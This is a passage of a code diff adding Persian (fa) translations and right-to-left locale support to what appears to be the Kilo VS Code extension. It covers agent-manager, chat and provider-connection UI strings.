"agentManager.worktree.removeStale": "حذف worktree منسوخ", + "agentManager.worktree.doubleClickRename": "برای تغییر نام دوبار کلیک کنید", + "agentManager.worktree.versions": "{{count}} نسخه", + "agentManager.worktree.advancedOptions": "گزینه‌های پیشرفته worktree", + "agentManager.worktree.defaultBaseBranch": "شاخه پایه پیش‌فرض", + "agentManager.worktree.defaultBaseBranchAuto": "تشخیص خودکار", + "agentManager.worktree.copyPath": "کپی مسیر", + "agentManager.worktree.openInVscode": "باز کردن در VS Code", + "agentManager.worktree.rename": "تغییر نام", + "agentManager.worktree.newSection": "بخش جدید", + "agentManager.worktree.ungrouped": "بدون گروه", + "agentManager.section.rename": "تغییر نام بخش", + "agentManager.section.setColor": "تنظیم رنگ", + "agentManager.section.delete": "حذف بخش", + "agentManager.section.defaultName": "بخش جدید", + "agentManager.section.moveUp": "انتقال به بالا", + "agentManager.section.moveDown": "انتقال به پایین", + + "agentManager.hoverCard.branch": "شاخه", + "agentManager.hoverCard.worktree": "Worktree", + "agentManager.hoverCard.base": "پایه", + "agentManager.hoverCard.sessions": "جلسات", + "agentManager.hoverCard.files": "فایل‌ها", + "agentManager.hoverCard.changes": "تغییرات", + "agentManager.hoverCard.commits": "کامیت‌ها", + + "agentManager.session.new": "جلسه جدید", + "agentManager.session.untitled": "بدون عنوان", + "agentManager.session.newSession": "جلسه جدید", + "agentManager.session.openInWorktree": "باز کردن در worktree", + "agentManager.session.openLocally": "باز کردن به صورت محلی", + "agentManager.session.readonly": "جلسه فقط‌خواندنی", + "agentManager.session.noSessions": "هیچ جلسه‌ای باز نیست", + + "agentManager.tab.close": "بستن", + "agentManager.tab.closeOthers": "بستن بقیه", + "agentManager.tab.closeTab": "بستن برگه", + "agentManager.tab.forkSession": "انشعاب جلسه", + "agentManager.tab.terminal": "ترمینال", + "agentManager.tab.openTerminal": "باز کردن ترمینال", + "agentManager.tab.newOptions": "گزینه‌های بیشتر برای تب جدید", + "agentManager.tabsMenu.status.waiting": "انتظار", + "agentManager.tabsMenu.status.retry": "تلاش مجدد", + "agentManager.sidebarSearch.label": "جستجوی worktree‌ها و جلسات", + "agentManager.sidebarSearch.scope": "جستجو در فضای کاری محلی، جلسات محلی، worktree‌ها و جلسات آن‌ها", + "agentManager.sidebarSearch.contexts": "محلی و WORKTREE‌ها", + + "agentManager.terminal.new": "تب ترمینال جدید", + "agentManager.terminal.add": "ترمینال جدید", + "agentManager.terminal.ended": "ترمینال پایان یافت — برای بستن، تب را ببندید", + "agentManager.terminal.connectionError": "خطای اتصال ترمینال", + "agentManager.terminal.empty": "هنوز ترمینالی اینجا وجود ندارد", + "agentManager.terminal.start": "شروع ترمینال", + "agentManager.terminal.destination": "انتخاب کنید دکمه ترمینال چه چیزی را باز کند", + "agentManager.terminal.openInVscode": "ترمینال VS Code", + "agentManager.terminal.openInPanel": "پنل Agent Manager", + "agentManager.terminal.errorTitle": "خطای ترمینال", + + "agentManager.setup.failed": "راه‌اندازی Worktree ناموفق بود", + "agentManager.setup.settingUp": "در حال راه‌اندازی Worktree", + "agentManager.setup.error.git_not_found": + "Git نصب نشده یا در PATH یافت نشد. لطفاً Git را نصب کرده و VS Code را مجدداً راه‌اندازی کنید.", + "agentManager.setup.error.not_git_repo": "برای استفاده از Worktree، پوشه‌ای که حاوی یک مخزن git است را باز کنید.", + "agentManager.setup.error.lfs_missing": + "این مخزن از Git LFS استفاده می‌کند، اما git-lfs یافت نشد. لطفاً Git LFS را نصب کنید.", + "agentManager.setup.error.no_commits": + "این مخزن هنوز هیچ کامیتی ندارد. قبل از استفاده از Worktree، یک کامیت اولیه ایجاد کنید.", + "agentManager.shortcuts.title": "میانبرهای صفحه‌کلید", + "agentManager.shortcuts.category.sidebar": "نوار کناری", + "agentManager.shortcuts.category.tabs": "تب‌ها", + "agentManager.shortcuts.category.terminal": "ترمینال", + "agentManager.shortcuts.category.global": "سراسری", + "agentManager.shortcuts.previousItem": "مورد قبلی", + "agentManager.shortcuts.nextItem": "مورد بعدی", + "agentManager.shortcuts.newWorktree": "Worktree جدید", + "agentManager.shortcuts.advancedWorktree": "پیکربندی Worktree جدید", + "agentManager.shortcuts.openWorktree": "باز کردن Worktree", + "agentManager.shortcuts.openPR": "باز کردن pull request", + "agentManager.shortcuts.deleteWorktree": "حذف Worktree", + "agentManager.shortcuts.previousTab": "تب قبلی", + "agentManager.shortcuts.nextTab": "تب بعدی", + "agentManager.shortcuts.newTab": "تب جدید", + "agentManager.shortcuts.closeTab": "بستن تب", + "agentManager.shortcuts.toggleTerminal": "نمایش/پنهان کردن ترمینال", + "agentManager.shortcuts.runScript": "اجرای اسکریپت", + "agentManager.run.options": "گزینه‌های اجرا", + "agentManager.run.configure": "پیکربندی اسکریپت اجرا", + "agentManager.shortcuts.openAgentManager": "باز کردن Agent Manager", + "agentManager.shortcuts.cycleAgentMode": "حالت عامل بعدی", + "agentManager.shortcuts.cyclePreviousAgentMode": "حالت عامل قبلی", + "agentManager.shortcuts.showShortcuts": "نمایش میانبرهای صفحه‌کلید", + + "agentManager.dialog.removeStaleWorktree.title": "حذف Worktree قدیمی", + "agentManager.dialog.removeStaleWorktree.messagePre": "حذف Worktree قدیمی ", + "agentManager.dialog.removeStaleWorktree.messagePost": + "؟ این عملیات فقط نگاشت Agent Manager را حذف می‌کند و فایل‌های روی دیسک دست‌نخورده باقی می‌مانند.", + "agentManager.dialog.removeStaleWorktree.cancel": "لغو", + "agentManager.dialog.removeStaleWorktree.confirm": "حذف Worktree قدیمی", + + "agentManager.dialog.openWorktree": "Worktree جدید", + "agentManager.dialog.tab.new": "جدید", + "agentManager.dialog.tab.import": "وارد کردن", + "agentManager.dialog.namePlaceholder": "نام Worktree (اختیاری)", + "agentManager.dialog.promptPlaceholder.mac": "پیامی بنویسید (⌘Enter برای ارسال)", + "agentManager.dialog.promptPlaceholder.other": "پیامی بنویسید (Ctrl+Enter برای ارسال)", + "agentManager.dialog.advancedOptions": "گزینه‌های پیشرفته", + "agentManager.dialog.branchName": "نام شاخه", + "agentManager.dialog.branchNamePlaceholder": "تولید خودکار", + "agentManager.dialog.baseBranch": "شاخه پایه", + "agentManager.dialog.searchBranches": "جستجوی شاخه‌ها...", + "agentManager.dialog.branchBadge.default": "پیش‌فرض", + "agentManager.dialog.branchBadge.remote": "راه دور", + "agentManager.dialog.versions": "نسخه‌ها", + "agentManager.dialog.versionHint": "{{count}} worktree به صورت موازی اجرا خواهند شد", + "agentManager.dialog.compareModels": "مقایسه مدل‌ها", + "agentManager.dialog.compareModels.tooltip": "اجرای عامل‌ها روی مدل‌های مختلف به صورت موازی برای مقایسه نتایج", + "agentManager.dialog.compareModels.searchModels": "جستجوی مدل‌ها...", + "agentManager.dialog.compareModels.selectModels": "انتخاب مدل‌ها...", + "agentManager.dialog.compareModels.effort": "میزان استدلال", + "agentManager.dialog.compareModels.effortDefault": "پیش‌فرض", + "agentManager.dialog.creating": "در حال ایجاد...", + "agentManager.dialog.createWorktree": "ایجاد Worktree", + "agentManager.dialog.removeImage": "حذف تصویر", + "agentManager.dialog.configureWorktree": "پیکربندی Worktree جدید...", + + "agentManager.diff.toggle": "تغییر وضعیت diff", + "agentManager.diff.openFile": "باز کردن فایل", + "agentManager.diff.revertFile": "بازگردانی فایل", + "agentManager.diff.revertSuccess": "فایل بازگردانی شد", + "agentManager.diff.revertError": "بازگردانی ناموفق بود", + "agentManager.open.button": "باز کردن", + "agentManager.open.tooltip": "باز کردن این Worktree در VS Code", + "agentManager.apply.globalButton": "اعمال", + "agentManager.apply.tooltip": "اعمال تغییرات worktree انتخاب‌شده به شاخه محلی", + "agentManager.apply.dialogTitle": "اعمال تغییرات به شاخه محلی", + "agentManager.apply.confirm": "همین الان اعمال کن", + "agentManager.apply.selectionSummary": "{{selected}} از {{total}} فایل انتخاب‌شده", + "agentManager.apply.selectAll": "انتخاب همه", + "agentManager.apply.selectNone": "هیچ‌کدام را انتخاب نکن", + "agentManager.apply.checking": "در حال بررسی...", + "agentManager.apply.applying": "در حال اعمال...", + "agentManager.apply.success": "تغییرات اعمال شد", + "agentManager.apply.conflict": "اعمال دارای تعارض است", + "agentManager.apply.conflictToast": "{{count}} تعارض در {{files}} فایل. جزئیات را در Apply بررسی کنید.", + "agentManager.apply.error": "اعمال ناموفق بود", + "agentManager.apply.conflictsTitle": "تعارض‌ها", + "agentManager.apply.unknownFile": "فایل نامشخص", + "agentManager.apply.reason.index": "فایل محلی با نسخه مورد انتظار تفاوت دارد", + "agentManager.apply.reason.patch": "پچ به‌درستی قابل اعمال نیست", + "agentManager.apply.reason.contents": "خواندن محتوای فایل محلی فعلی ممکن نیست", + "agentManager.apply.reason.unknown": "تعارض شناسایی شد", + "agentManager.shortcuts.toggleDiff": "نمایش/پنهان کردن پنل diff", + "agentManager.shortcuts.category.quickSwitch": "تغییر سریع", + "agentManager.shortcuts.jumpToItem": "پرش به مورد ۱–۹", + "agentManager.review.sendAllToChat": "ارسال همه به چت", + "agentManager.review.sendAllToChatWithCount": "ارسال همه به چت ({{count}})", + "agentManager.review.sendAllShortcut.mac": "⌘Enter", + "agentManager.review.sendAllShortcut.other": "Ctrl+Enter", + "agentManager.review.modalTitle": "بررسی نظر", + "agentManager.review.inlineCount": "نظرات بررسی ({{count}})", + "agentManager.review.clearAll": "پاک کردن همه", + "agentManager.review.commentOnLine": "نظر در خط {{line}}", + "agentManager.review.editCommentOnLine": "ویرایش نظر در خط {{line}}", + "agentManager.review.commentPlaceholder": "یک نظر بگذارید...", + "agentManager.review.commentAction": "نظر", + "agentManager.review.sendToChat": "ارسال به چت", + "agentManager.review.metaFile": "فایل", + "agentManager.review.metaLine": "خط", + "agentManager.review.metaComment": "نظر کاربر", + "agentManager.review.collapsedOnly": "{{count}} جمع‌شده", + "agentManager.review.collapsedWithLarge": "{{collapsed}} جمع‌شده، {{large}} بزرگ", + "agentManager.review.largeFileCollapsed": "فایل بزرگ (جمع‌شده)", + "agentManager.review.image": "تصویر", + "agentManager.review.imageBefore": "قبل", + "agentManager.review.imageAfter": "بعد", + "agentManager.review.imageTooLarge": "تصویر برای پیش‌نمایش خیلی بزرگ است ({{size}}).", + "agentManager.review.imageUnreadable": "این تصویر قابل نمایش نیست.", + "agentManager.review.imageUnavailable": "پیش‌نمایش تصویر برای این نمونه جلسه در دسترس نیست.", + "agentManager.review.endOfLongDiff": "به انتها رسیدید!", + + "agentManager.import.pullRequest": "Pull Request", + "agentManager.import.pastePrUrl": "URL درخواست PR را وارد کنید...", + "agentManager.import.open": "باز کردن", + "agentManager.import.branches": "شاخه‌ها", + "agentManager.import.selectBranch": "انتخاب شاخه...", + "agentManager.import.loading": "در حال بارگذاری...", + "agentManager.import.loadingBranches": "در حال بارگذاری شاخه‌ها...", + "agentManager.import.noMatchingBranches": "شاخه‌ای مطابق یافت نشد", + "agentManager.import.noBranchesFound": "هیچ شاخه‌ای یافت نشد.", + "agentManager.import.noBranchesHint": "یک URL درخواست ادغام را در بالا جای‌گذاری کنید یا یک worktree جدید بسازید.", + "agentManager.import.failed": "وارد کردن ناموفق بود", +} diff --git a/packages/kilo-vscode/webview-ui/kiloclaw/context/language.tsx b/packages/kilo-vscode/webview-ui/kiloclaw/context/language.tsx index e4e079638f..4a64ce3c7e 100644 --- a/packages/kilo-vscode/webview-ui/kiloclaw/context/language.tsx +++ b/packages/kilo-vscode/webview-ui/kiloclaw/context/language.tsx @@ -27,6 +27,7 @@ import { dict as tr } from "../i18n/tr" import { dict as zh } from "../i18n/zh" import { dict as uk } from "../i18n/uk" import { dict as zht } from "../i18n/zht" +import { dict as fa } from "../i18n/fa" const dicts: Record> = { en, @@ -49,6 +50,7 @@ const dicts: Record> = { uk: { ...en, ...uk }, zh: { ...en, ...zh }, zht: { ...en, ...zht }, + fa: { ...en, ...fa }, } type LanguageCtx = { diff --git a/packages/kilo-vscode/webview-ui/kiloclaw/i18n/fa.ts b/packages/kilo-vscode/webview-ui/kiloclaw/i18n/fa.ts new file mode 100644 index 0000000000..1c63633715 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/kiloclaw/i18n/fa.ts @@ -0,0 +1,95 @@ +export const dict = { + // App + "kiloClaw.loading": "در حال بارگذاری KiloClaw...", + + // Chat + "kiloClaw.chat.connecting": "در حال اتصال...", + "kiloClaw.chat.notRunning": "نمونه در حال اجرا نیست", + "kiloClaw.chat.placeholder": "پیامی بنویسید... (Enter برای ارسال)", + "kiloClaw.chat.online": "آنلاین", + "kiloClaw.chat.offline": "آفلاین", + "kiloClaw.chat.idle": "بیکار", + "kiloClaw.chat.unknown": "نامشخص", + "kiloClaw.chat.empty": "هنوز پیامی وجود ندارد. سلام کنید!", + "kiloClaw.chat.emptyWithBot": "هنوز پیامی وجود ندارد. به {bot} سلام کنید!", + "kiloClaw.chat.send": "ارسال", + "kiloClaw.chat.waitingBotStatus": "در انتظار وضعیت ربات...", + "kiloClaw.chat.botOffline": "ربات آفلاین است", + + // Conversations + "kiloClaw.conversations.title": "مکالمات", + "kiloClaw.conversations.new": "مکالمه جدید", + "kiloClaw.conversations.empty": "هنوز مکالمه‌ای وجود ندارد", + "kiloClaw.conversations.untitled": "بدون عنوان", + "kiloClaw.conversations.rename": "تغییر نام", + "kiloClaw.conversations.leave": "خروج", + "kiloClaw.conversations.selectOne": "یک مکالمه را برای شروع گفتگو انتخاب کنید", + "kiloClaw.conversations.groupToday": "امروز", + "kiloClaw.conversations.groupYesterday": "دیروز", + "kiloClaw.conversations.groupThisWeek": "این هفته", + "kiloClaw.conversations.groupOlder": "قدیمی‌تر", + + // Typing + "kiloClaw.typing.one": "{name} در حال تایپ است...", + "kiloClaw.typing.many": "{count} نفر در حال تایپ هستند...", + + // Messages + "kiloClaw.message.bot": "KiloClaw", + "kiloClaw.message.you": "شما", + "kiloClaw.message.thinking": "در حال فکر کردن...", + "kiloClaw.message.deleted": "[پیام حذف شد]", + "kiloClaw.message.replyDeleted": "پیام اصلی حذف شد", + "kiloClaw.message.notDelivered": "ارسال نشد", + "kiloClaw.message.edited": "(ویرایش شده)", + "kiloClaw.message.reply": "پاسخ", + "kiloClaw.message.replyTo": "در حال پاسخ به", + "kiloClaw.message.cancelReply": "لغو پاسخ", + "kiloClaw.message.edit": "ویرایش", + "kiloClaw.message.delete": "حذف", + "kiloClaw.message.confirmDelete": "این پیام حذف شود؟", + "kiloClaw.message.cancel": "انصراف", + "kiloClaw.message.save": "ذخیره", + "kiloClaw.message.react": "واکنش", + "kiloClaw.message.removeReaction": "حذف واکنش", + "kiloClaw.message.copy": "کپی", + "kiloClaw.message.copied": "در کلیپ‌بورد کپی شد", + "kiloClaw.message.copyFailed": "کپی انجام نشد", + + // Error + "kiloClaw.error.retry": "تلاش مجدد", + + // Setup + "kiloClaw.setup.title": "KiloClaw", + "kiloClaw.setup.subtitle": "هوش مصنوعی شخصی برای زندگی روزمره", + "kiloClaw.setup.description1": + "KiloClaw یک هوش مصنوعی شخصی در اختیار شما قرار می‌دهد که ایمیل‌ها را می‌خواند، تقویم شما را مدیریت می‌کند، پروژه‌هایتان را رصد می‌کند و در Telegram، Slack — هر چیزی که از قبل استفاده می‌کنید — در دسترس است.", + "kiloClaw.setup.description2": + "نیازی به نصب برنامه نیست. رابط جدیدی برای یادگیری وجود ندارد. فقط مثل یک دوست برایش پیام بفرستید.", + "kiloClaw.setup.learnMore": "بیشتر بدانید", + "kiloClaw.setup.tryKiloClaw": "امتحان KiloClaw", + + // Upgrade + "kiloClaw.upgrade.title": "KiloClaw Chat نیاز به ارتقا دارد", + "kiloClaw.upgrade.description1": "این نمونه قبل از فعال‌سازی چت راه‌اندازی شده است.", + "kiloClaw.upgrade.description2.before": "از دکمه ", + "kiloClaw.upgrade.description2.bold": "ارتقا به آخرین نسخه", + "kiloClaw.upgrade.description2.after": " در داشبورد KiloClaw برای فعال‌سازی چت زنده با ربات خود استفاده کنید.", + "kiloClaw.upgrade.openDashboard": "باز کردن داشبورد", + + // Sidebar + "kiloClaw.sidebar.title": "KiloClaw", + "kiloClaw.sidebar.instance": "نمونه", + "kiloClaw.sidebar.unknown": "ناشناخته", + "kiloClaw.sidebar.bot": "ربات", + "kiloClaw.sidebar.botStatus": "وضعیت ربات", + "kiloClaw.sidebar.context": "زمینه", + "kiloClaw.sidebar.used": "استفاده‌شده", + "kiloClaw.sidebar.tokens": "توکن‌ها", + "kiloClaw.sidebar.model": "مدل", + "kiloClaw.sidebar.provider": "ارائه‌دهنده", + "kiloClaw.sidebar.details": "جزئیات", + "kiloClaw.sidebar.region": "منطقه", + "kiloClaw.sidebar.version": "نسخه", + "kiloClaw.sidebar.channels": "کانال‌ها", + "kiloClaw.sidebar.noData": "داده‌ای برای نمونه وجود ندارد", +} diff --git a/packages/kilo-vscode/webview-ui/src/components/chat/QuestionDock.tsx b/packages/kilo-vscode/webview-ui/src/components/chat/QuestionDock.tsx index 736c6355a0..74fa8f1ba7 100644 --- a/packages/kilo-vscode/webview-ui/src/components/chat/QuestionDock.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/chat/QuestionDock.tsx @@ -348,7 +348,9 @@ export const QuestionDock: Component<{ request: QuestionRequest }> = (props) =>
{summary()}
-
{questionText()}
+
+ {questionText()} +
e.stopPropagation()}> @@ -391,7 +393,9 @@ export const QuestionDock: Component<{ request: QuestionRequest }> = (props) =>
-
{questionText()}
+
+ {questionText()} +
{language.t("ui.question.singleHint")}
}>
{language.t("ui.question.multiHint")}
@@ -419,9 +423,13 @@ export const QuestionDock: Component<{ request: QuestionRequest }> = (props) => - {localized.label()} + + {localized.label()} + - {localized.description()} + + {localized.description()} + @@ -498,8 +506,10 @@ export const QuestionDock: Component<{ request: QuestionRequest }> = (props) => const answered = () => Boolean(value()) return (
- {tr(language.t, q.questionKey, q.question)} - + + {tr(language.t, q.questionKey, q.question)} + + {answered() ? value() : language.t("ui.question.review.notAnswered")}
diff --git a/packages/kilo-vscode/webview-ui/src/components/chat/SuggestBar.tsx b/packages/kilo-vscode/webview-ui/src/components/chat/SuggestBar.tsx index 2eac797698..63cc677ad6 100644 --- a/packages/kilo-vscode/webview-ui/src/components/chat/SuggestBar.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/chat/SuggestBar.tsx @@ -30,7 +30,9 @@ export const SuggestBar: Component<{ request: SuggestionRequest }> = (props) => - {props.request.text} + + {props.request.text} +
diff --git a/packages/kilo-vscode/webview-ui/src/context/language-utils.ts b/packages/kilo-vscode/webview-ui/src/context/language-utils.ts index af837c7e92..247a5da01e 100644 --- a/packages/kilo-vscode/webview-ui/src/context/language-utils.ts +++ b/packages/kilo-vscode/webview-ui/src/context/language-utils.ts @@ -19,9 +19,10 @@ export type Locale = | "nl" | "uk" | "it" + | "fa" /** Locales that use right-to-left script. */ -export const RTL_LOCALES = new Set(["ar"]) +export const RTL_LOCALES = new Set(["ar", "fa"]) /** Map internal locale IDs to valid BCP 47 language tags for the HTML lang attribute. */ export const LOCALE_BCP47: Partial> = { @@ -55,6 +56,7 @@ export const LOCALES: readonly Locale[] = [ "nl", "uk", "it", + "fa", ] /** diff --git a/packages/kilo-vscode/webview-ui/src/context/language.tsx b/packages/kilo-vscode/webview-ui/src/context/language.tsx index 7dad79270d..709e0a05cf 100644 --- a/packages/kilo-vscode/webview-ui/src/context/language.tsx +++ b/packages/kilo-vscode/webview-ui/src/context/language.tsx @@ -49,6 +49,7 @@ import { dict as appTr } from "../i18n/tr" import { dict as appNl } from "../i18n/nl" import { dict as appUk } from "../i18n/uk" import { dict as appIt } from "../i18n/it" +import { dict as appFa } from "../i18n/fa" import { dict as amEn } from "../../agent-manager/i18n/en" import { dict as amZh } from "../../agent-manager/i18n/zh" import { dict as amZht } from "../../agent-manager/i18n/zht" @@ -69,6 +70,7 @@ import { dict as amTr } from "../../agent-manager/i18n/tr" import { dict as amNl } from "../../agent-manager/i18n/nl" import { dict as amUk } from "../../agent-manager/i18n/uk" import { dict as amIt } from "../../agent-manager/i18n/it" +import { dict as amFa } from "../../agent-manager/i18n/fa" import { dict as kiloEn } from "@kilocode/kilo-i18n/en" import { dict as kiloZh } from "@kilocode/kilo-i18n/zh" import { dict as kiloZht } from "@kilocode/kilo-i18n/zht" @@ -118,6 +120,7 @@ export const LOCALE_LABELS: Record = { nl: "Nederlands", uk: "Українська", it: "Italiano", + fa: "فارسی", } // Merge 4 dict layers: app + ui + kilo + agent manager (kilo and agent manager override last) @@ -143,6 +146,9 @@ const dicts: Record> = { nl: { ...base, ...appNl, ...uiNl, ...kiloNl, ...amEn, ...amNl }, uk: { ...base, ...appUk, ...uiUk, ...kiloUk, ...amEn, ...amUk }, it: { ...base, ...appIt, ...uiIt, ...kiloIt, ...amEn, ...amIt }, + // Persian (Kilo fork addition). Only app + agent-manager layers are localized; + // the upstream ui/kilo layers fall back to English via `base`. + fa: { ...base, ...appFa, ...amEn, ...amFa }, } function normalizeLocale(lang: string): Locale { diff --git a/packages/kilo-vscode/webview-ui/src/i18n/fa.ts b/packages/kilo-vscode/webview-ui/src/i18n/fa.ts new file mode 100644 index 0000000000..02a2bf9ab5 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/src/i18n/fa.ts @@ -0,0 +1,1288 @@ +export const anacondaDesktopDict = { + "provider.anaconda.title.connect": "اتصال به Anaconda Desktop", + "provider.anaconda.title.manage": "مدیریت Anaconda Desktop", + "provider.anaconda.status.checking": "در حال بررسی Anaconda Desktop...", + "provider.anaconda.status.opening": "در حال باز کردن Anaconda Desktop...", + "provider.anaconda.status.syncing": "در حال به‌روزرسانی مدل‌های ارائه‌دهنده...", + "provider.anaconda.status.ready": "آماده اتصال", + "provider.anaconda.status.waiting": "در انتظار Desktop", + "provider.anaconda.status.attention": "نیاز به توجه", + "provider.anaconda.status.unavailable": "در دسترس نیست", + "provider.anaconda.state.unsupported": "Anaconda Desktop در {{platform}} پشتیبانی نمی‌شود.", + "provider.anaconda.state.notInstalled": + "Anaconda Desktop را روی این دستگاه نصب کنید، سپس به اینجا بازگردید. Kilo نصب‌کننده را برای شما اجرا نمی‌کند.", + "provider.anaconda.state.notRunning": + "Anaconda Desktop را باز کنید، راه‌اندازی را تکمیل کرده و وارد شوید، سپس «بررسی مجدد» را انتخاب کنید.", + "provider.anaconda.state.invalidConfig": + "راه‌اندازی Anaconda Desktop ناقص است. Desktop را باز کنید، راه‌اندازی را تکمیل کنید و در صورت نیاز آن را مجدداً راه‌اندازی کنید.", + "provider.anaconda.state.signedOut": "قبل از اتصال Kilo، Anaconda Desktop را باز کرده و وارد شوید.", + "provider.anaconda.state.unauthorized": + "Kilo نتوانست به Anaconda Desktop دسترسی پیدا کند. Desktop را باز کنید، دوباره وارد شوید و در صورت نیاز آن را مجدداً راه‌اندازی کنید.", + "provider.anaconda.state.unavailable": + "Anaconda Desktop هنوز پاسخ نمی‌دهد. آن را باز کنید و منتظر بمانید تا برنامه کاملاً راه‌اندازی شود.", + "provider.anaconda.state.noModel": + "در Anaconda Desktop، یک مدل تولید متن دانلود کنید. در صورت امکان مدلی با قابلیت فراخوانی ابزار انتخاب کنید، سپس سرور آن را راه‌اندازی کنید.", + "provider.anaconda.state.noServer_one": + "۱ مدل تولید متن دانلودشده در دسترس است. در Anaconda Desktop، یک سرور مدل راه‌اندازی کنید. مدل‌های دارای پشتیبانی از فراخوانی ابزار به شدت توصیه می‌شوند.", + "provider.anaconda.state.noServer_other": + "{{count}} مدل تولید متن دانلودشده در دسترس است. در Anaconda Desktop، یک سرور مدل راه‌اندازی کنید. مدل‌های دارای پشتیبانی از فراخوانی ابزار به شدت توصیه می‌شوند.", + "provider.anaconda.state.unhealthy": + "سرور استنتاج فعال هنوز سالم نیست. آن را در Anaconda Desktop بررسی کنید و در صورت نیاز سرور را مجدداً راه‌اندازی کنید.", + "provider.anaconda.state.ready": + "Kilo یک سرور تولید متن محلی سالم پیدا کرد و می‌تواند تنظیمات اتصال فعلی آن را وارد کند.", + "provider.anaconda.server": "سرور استنتاج فعال", + "provider.anaconda.context": "پنجره زمینه", + "provider.anaconda.contextValue": "{{count}} توکن", + "provider.anaconda.tools": "فراخوانی ابزار", + "provider.anaconda.tools.supported": "پشتیبانی می‌شود", + "provider.anaconda.tools.unsupported": "فعال نیست", + "provider.anaconda.tools.unknown": "نامشخص", + "provider.anaconda.warning.title": "پشتیبانی از ابزار محدود است", + "provider.anaconda.warning.description": + "این سرور فراخوانی ابزار را تأیید نمی‌کند. اقدامات عامل کدنویسی ممکن است با شکست مواجه شوند یا در دسترس نباشند. تنها در صورت پذیرش این محدودیت‌ها ادامه دهید.", + "provider.anaconda.action.download": "دانلود Anaconda Desktop", + "provider.anaconda.action.open": "باز کردن Anaconda Desktop", + "provider.anaconda.action.checkAgain": "بررسی مجدد", + "provider.anaconda.action.continue": "ادامه به هر حال", + "provider.anaconda.action.manage": "مدیریت / بازنشانی", + "provider.anaconda.toast.refreshed.title": "Anaconda Desktop بازنشانی شد", + "provider.anaconda.toast.refreshed.description": "سرور محلی فعال و مدل‌ها در Kilo به‌روز هستند.", + "settings.providers.note.anacondaDesktop": "یک مدل ارائه‌شده به‌صورت محلی توسط Anaconda Desktop را اجرا کنید.", + "settings.providers.tag.local": "محلی", +} as const + +export const dict = { + ...anacondaDesktopDict, + + "command.provider.connect": "اتصال به ارائه‌دهنده", + + "command.session.new": "جلسه جدید", + "command.session.show.changes": "نمایش تغییرات", + "command.review.toggle": "نمایش/پنهان کردن بررسی", + "revert.banner.count_one": "{{count}} پیام بازگردانده شد", + "revert.banner.count_other": "{{count}} پیام بازگردانده شد", + "revert.banner.redo": "بازانجام", + "revert.banner.redo.all": "بازانجام همه", + "revert.banner.hint": "می‌توانید این تغییرات را تا زمانی که پیام جدیدی ارسال نکرده‌اید بازانجام دهید", + "revert.banner.workspace.snapshotsDisabled": + "مکالمه بازگردانده شد. تغییرات فایل بازیابی نشدند زیرا عکس‌برداری غیرفعال است.", + "revert.banner.workspace.unavailable": + "مکالمه بازگردانده شد. هیچ نقطه بازیابی فایلی موجود نبود، بنابراین تغییرات فضای کاری بازیابی نشدند.", + "revert.banner.workspace.legacy": + "مکالمه بازگردانده شد. وضعیت بازیابی فضای کاری برای این بازگردانی قدیمی‌تر در دسترس نیست.", + "revert.banner.workspace.enableSnapshots": "فعال‌سازی اسنپ‌شات‌ها", + "revert.disabled.agentBusy": "منتظر بمانید تا عامل کارش تمام شود", + "command.session.compact": "فشرده‌سازی جلسه", + "command.session.export": "صدور رونوشت جلسه", + + "agentRequirements.skill.installed": "نصب شده", + "agentRequirements.skill.checkFailed": "بررسی مهارت ناموفق بود", + "agentRequirements.skill.missing": "نصب نشده", + "agentRequirements.mcp.connected": "متصل", + "agentRequirements.mcp.checkFailed": "بررسی MCP ناموفق بود", + "agentRequirements.mcp.missing": "متصل نیست", + "agentRequirements.extension.installed": "نصب شده", + "agentRequirements.extension.checkFailed": "بررسی افزونه VS Code ناموفق بود", + "agentRequirements.extension.missing": "نصب نشده", + "agentRequirements.extension.description": "افزونه‌های مفقود را در VS Code نصب کنید.", + "agentRequirements.group.skills": "مهارت‌ها", + "agentRequirements.group.mcps": "MCPs", + "agentRequirements.group.extensions": "افزونه‌های VS Code", + "agentRequirements.blocked.title": "پیش‌نیازهای عامل {{agent}}", + "agentRequirements.blocked.description": "این عامل پیش از اجرا به ابزارهای زیر نیاز دارد.", + "agentRequirements.prompt.blocked": "ابتدا بررسی‌های لازم را تکمیل کنید تا بتوانید از این عامل استفاده کنید", + "agentRequirements.action.openMarketplace": "باز کردن Marketplace", + "agentRequirements.error.unknownAgent": "عامل انتخاب‌شده یافت نشد.", + "agentRequirements.error.malformedDeclaration": "این عامل دارای اعلان پیش‌نیاز نامعتبر است.", + "agentRequirements.error.discoveryFailed": "Kilo نتوانست مهارت‌های موجود را بررسی کند.", + "agentRequirements.error.mcpStatusFailed": "Kilo نتوانست وضعیت سرور MCP را بررسی کند.", + "agentRequirements.error.scopeMismatch": "این بررسی نیازمندی‌های عامل دیگر فعال نیست.", + "agentRequirements.error.requestFailed": "Kilo نتوانست نیازمندی‌های عامل را بررسی کند.", + + "dialog.provider.search.placeholder": "جستجوی ارائه‌دهندگان", + "dialog.provider.empty": "ارائه‌دهنده‌ای یافت نشد", + "dialog.provider.group.other": "سایر", + "dialog.provider.tag.recommended": "پیشنهادی", + + "dialog.model.select.title": "انتخاب مدل", + "dialog.model.search.placeholder": "جستجوی مدل‌ها", + "dialog.model.empty": "نتیجه‌ای یافت نشد", + "dialog.model.select": "انتخاب", + "dialog.model.expand": "گسترش", + "dialog.model.collapse": "جمع‌کردن", + + "dialog.provider.viewAll": "نمایش ارائه‌دهندگان بیشتر", + + "provider.connect.title": "اتصال به {{provider}}", + "provider.connect.selectMethod": "روش ورود را برای {{provider}} انتخاب کنید.", + "provider.connect.method.apiKey": "کلید API", + "provider.connect.status.inProgress": "در حال احراز هویت...", + "provider.connect.status.waiting": "در انتظار احراز هویت...", + "provider.connect.status.failed": "احراز هویت ناموفق بود: {{error}}", + "provider.connect.apiKey.description": + "کلید API {{provider}} خود را وارد کنید تا حساب‌تان متصل شود و از مدل‌های {{provider}} در Kilo استفاده کنید.", + "provider.connect.apiKey.description.local": + "به سرور محلی {{provider}} خود متصل شوید. اگر سرور نیازی به کلید API ندارد، آن را خالی بگذارید (پیش‌فرض برای localhost).", + "provider.connect.atomicChat.description": + "به Atomic Chat روی دستگاه خود متصل شوید (پیش‌فرض http://127.0.0.1:1337). برای سرور محلی نیازی به کلید API نیست — Atomic Chat را راه‌اندازی کنید، یک مدل بارگذاری کنید، سپس متصل شوید.", + "provider.connect.apiKey.label": "کلید API {{provider}}", + "provider.connect.apiKey.label.optional": "کلید API {{provider}} 